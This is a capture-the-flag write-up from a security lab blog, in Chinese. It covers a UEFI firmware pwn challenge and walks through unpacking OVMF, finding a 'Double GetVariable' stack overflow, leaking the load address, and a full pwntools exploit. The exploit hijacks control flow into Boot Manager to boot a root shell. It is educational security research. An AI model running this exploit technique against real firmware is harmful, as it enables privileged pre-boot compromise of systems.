原创Paper | 从一道题入门 UEFI PWN
2022-11-10 17:1:45 Author: Seebug漏洞平台(查看原文) 阅读量:12 收藏

作者:[email protected]知道创宇404实验室
日期:2022年11月10日

周末的时候打了n1ctf,遇到一道uefi相关的题目,我比较感兴趣,之前就想学习一下安全启动相关的东西,这次正好趁着这个机会入门一下。
周天做的时候,一直卡在一个点上,没有多去找找资料属实败笔。

题目分析

先解包OVMF.fd文件,用uefi-firmware-parse这个工具:
uefi-firmware-parser -ecO ./OVMF.fd

简单看一下解包后的目录,大致判断BIOS可能在file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792或者file-df1ccef6-f301-4a63-9661-fc6030dcc880这个目录中。

通过对UiApp字符串的查找,基本判断UiApp是在volume-0/file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792/section0目录下。

连按f12进入BIOS之后,可以看到UiApp一闪而过,然后看到了熟悉的菜单,找找关键的字符串,就确定了对应的二进制文件。

现在需要修改一下启动脚本,让脚本启动OVMF.fd之后挂住,然后gdb attach进行调试。
import os, subprocess
import random

def main():
try:
os.system("rm -f OVMF.fd")
os.system("cp OVMF.fd.bak OVMF.fd")
ret = subprocess.call([
"qemu-system-x86_64",
"-m", str(256+random.randint(0, 512)),
"-drive", "if=pflash,format=raw,file=OVMF.fd",
"-drive", "file=fat:rw:contents,format=raw",
"-net", "none",
"-monitor", "/dev/null",
"-s","-S",
"-nographic"
])
print("Return:", ret)
except Exception as e:
print(e)
print("Error!")
finally:
print("Done.")

if __name__ == "__main__":
main()

了解过操作系统的朋友们应该知道,操作系统的加载过程分为三步:BIOS固件(或者说是UEFI)的内存地址是写死的,通过BIOS加载bootloader,再通过bootloader去完成对操作系统镜像的加载。gdb attach之后,我们看到程序断在了0xfff0地址处,这个应该就是BIOS的基址了。

漏洞分析

进入UiApp之后没有直接到Boot Manager界面,而是到了菜单界面,猜测一下这是需要解题者hacker掉这个菜单,劫持控制流到BIOS中可以获取高权限shell的地方。通过查找关键字,锁定了目标程序:file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792\section0\section3\volume-ee4e5898-3914-4259-9d6e-dc7bd79403cf\file-462caa21-7614-4503-836e-8ab6f4662331\section0.pe

通过winchecksec查看开启的保护机制:

然后通过关键字很快就定位到了出题人加的菜单函数中,但是很烦的事情是,我发现ida不能正确识别函数参数:

反汇编之后的结果成了这个鸟样:

通过查找资料以及逆向分析,还原出了gRT这个结构体,其中有两个比较重要的成员函数:gRT->SetVariable将栈中的值写入键值对,gRT->GetVariable将键值对中的值拷贝到栈中。经过分析,大概判断是要通过gRT->GetVariable来实现栈溢出,完成对控制流的劫持。
但是溢出点在哪里呢?当时在比赛过程中一直卡在这儿,最失误的一点就是没有多google一下,一直在蒙头做题。在赛后和Mr.R师傅交流的过程中,得知这道题考察的是UEFI中一种常见的漏洞模式:Double GetVariable

漏洞原理是这样的:GetVariable在第一次从nvram取值写入栈中时,如果nvram变量的长度不为1datasize的长度会被改写为对应nvram变量的长度。第二次调用GetVariable函数时,如果对datasize未做初始化,就有可能造成溢出。

相关漏洞可以参考一下这篇文章:https://binarly.io/advisories/BRLY-2021-007/index.html。(比赛时候还是得多google一下)。

回到Encode函数,我们看到函数从N1CTF_KEY中取值写入栈,然后和buffer中的值进行异或运算。而Add函数可以重新写入nvram变量,且写入的字符串最大长度为256字节,就是说我们可以通过Add覆盖掉之前定义的N1CTF_KEY1N1CTF_KEY2N1CTF_KEY3这三个变量的值。我们覆写N1CTF_KEY1的值为a*0x1c,覆写N1CTF_KEY2的值为a*0x18+p32(boot_addr),然后设置一个nvram变量OVERFLOW,使其长度为0x11个字节,然后进入Encode函数,对OVERFLOW的值进行编码,这样第一次读取N1CTF_KEY1改写datasize,第二次读取N1CTF_KEY2就可以溢出到函数的返回地址处,劫持rip寄存器,使其跳转到boot manager的设置界面,获取root shell

这里的pwn函数就是出题人加的存在漏洞的函数,我们可以把控制流劫持到后面的else的基本块中去,然后应该可以正常进入Boot Manager的界面。

动态调试

动态调试
首先要确定UiApp加载的基址,一个很好的办法是对内存中特定的指令序列进行搜索,比如说我们在ida里面找到这条指令。

第二个地址减去偏移就是程序的基址。

调试的过程中会发现一个问题:虽然winchecksec检查程序没有开启aslr,但是实际上UiApp的加载基址是在变化的。所以需要泄露.text段的一个内存地址,才能成功把返回地址覆写成boot manager对应的地址。

在调试的过程中,我发现当Add设置的字符串长度等于256个字节时,会打印出一个地址。通过多次尝试,我发现这个地址和UiApp的基址的偏移一定程度上是固定,为0x1d009c0或者0x1e009c0,通过泄露出的地址减去偏移实际上也就得到了UiApp的基址。

漏洞利用

和图形化界面进行交互,pwntools确实还存在一些问题,所以可以通过socat来进行连接。最终exp如下:
from pwn import *

context.log_level = "debug"
context.arch = "amd64"

boot_offset = 0x235A
uiapp_offset = 0x1e009c0

DEBUG = 1
if DEBUG == 1:
'''
fname = "/tmp/uefi"
os.system("cp OVMF.fd %s"%fname)
os.system("chmod u+w %s"%fname)
'''
p = process([
"qemu-system-x86_64",
"-m", str(256+random.randint(0, 512)),
"-drive", "if=pflash,format=raw,file=OVMF.fd",
"-drive", "file=fat:rw:contents,format=raw",
"-net", "none",
"-monitor", "/dev/null",
#"-s","-S",
"-nographic"
])
else :
p = remote("47.243.105.43","9999")

LOCAL_REMOTE = 0
if LOCAL_REMOTE:
os.system("socat $(tty),echo=0,escape=0x03 SYSTEM:\"python ./exp.py \" 2>&1")

key_map = {
"up": b"\x1b[A",
"down": b"\x1b[B",
"left": b"\x1b[D",
"right": b"\x1b[C",
"esc": b"\x1b^[",
"enter": b"\r",
"tab": b"\t"
}

def send_key(key,times = 1):
for _ in range(times):
p.send(key_map[key])
if key == "enter":
p.recv()

def add(Keyname,Keyvalue):
p.sendlineafter("> \n",str(1))
p.sendlineafter('Key name:\n',Keyname)
p.sendlineafter('Key value:\n',Keyvalue)

def delete(Keyname,Keyvalue):
p.sendlineafter("> \n",str(2))
p.sendlineafter('Key name:\n',Keyname)

def Encode(Keyname):
p.sendlineafter("> \n",str(4))
p.sendlineafter("Key name:\n",Keyname)
p.recv()

def exp():
# leak UiAPP address
p.sendline("\x1b[24~"*10)
p.sendlineafter("> \n",str(1))
p.sendlineafter("Key name:\n","N1CTF_KEY3")
p.sendafter("Key value:\n",'a'*256)
p.recvuntil('Encode\n> \n')

p.sendline(str(3))
p.recvuntil("Key name:\n")
p.sendline('N1CTF_KEY3')
p.recvuntil('Value: \n')
p.recvuntil('a'*256)
data = p.recvuntil('\n').strip('\n')
leak_addr,i,j = 0,0,0
while i < len(data):
print(data[i])
if data[i] == "\\":
n = int(data[i+2],16)*0x10 + int(data[i+3],16)
i += 4
else:
n = ord(data[i])
i += 1
leak_addr += n * (0x100**j)
j += 1

uiapp_base_addr = leak_addr - uiapp_offset
log.success("leak address: %s"%hex(leak_addr))
log.success("UiApp address: %s"%hex(uiapp_base_addr))
boot_addr = uiapp_base_addr + boot_offset
pause()

# statck overflow
payload = 'a'*0x18 + p32(boot_addr)
add("N1CTF_KEY1",payload)
add("N1CTF_KEY2",payload)
add("OVERFLOW",'a'*0x11)

p.recvuntil("> \n")
p.sendline('4')
p.recvuntil('Key name:\n')
p.sendline('OVERFLOW')
# Add option,get root shell
p.recvuntil(b"Standard PC")
send_key("down", 3)
send_key("enter")
send_key("enter")
send_key("down")
send_key("enter")
send_key("enter")
send_key("down", 3)
send_key("enter")
p.send(b"\rrootshell\r")
send_key("down")
p.send(b"\rconsole=ttyS0 initrd=rootfs.img rdinit=/bin/sh quiet\r")
send_key("down")
send_key("enter")
send_key("up")
send_key("enter")
send_key("esc")
send_key("enter")
send_key("down", 3)
send_key("enter")

# root shell
# p.sendlineafter(b"/ #", b"cat /flag")
p.interactive()

def main():
exp()

if __name__ == "__main__":
main()

参考资料

考资料

https://www.anquanke.com/post/id/243007#h2-0

https://eqqie.cn/index.php/archives/1929

https://github.com/topics/uefi-pwn

作者名片

END

往 期 热 门
(点击图片跳转)

“阅读原文”更多精彩内容!

文章来源: http://mp.weixin.qq.com/s?__biz=MzAxNDY2MTQ2OQ==&mid=2650965918&idx=1&sn=9dc4143a2e6d2db7f14972674f17c464&chksm=8079c5acb70e4cba9f0936993727a80dcbb47963d560ac7ee3ebbd206189f2bb8fd8c16678cd#rd
如有侵权请联系:admin#unsafe.sh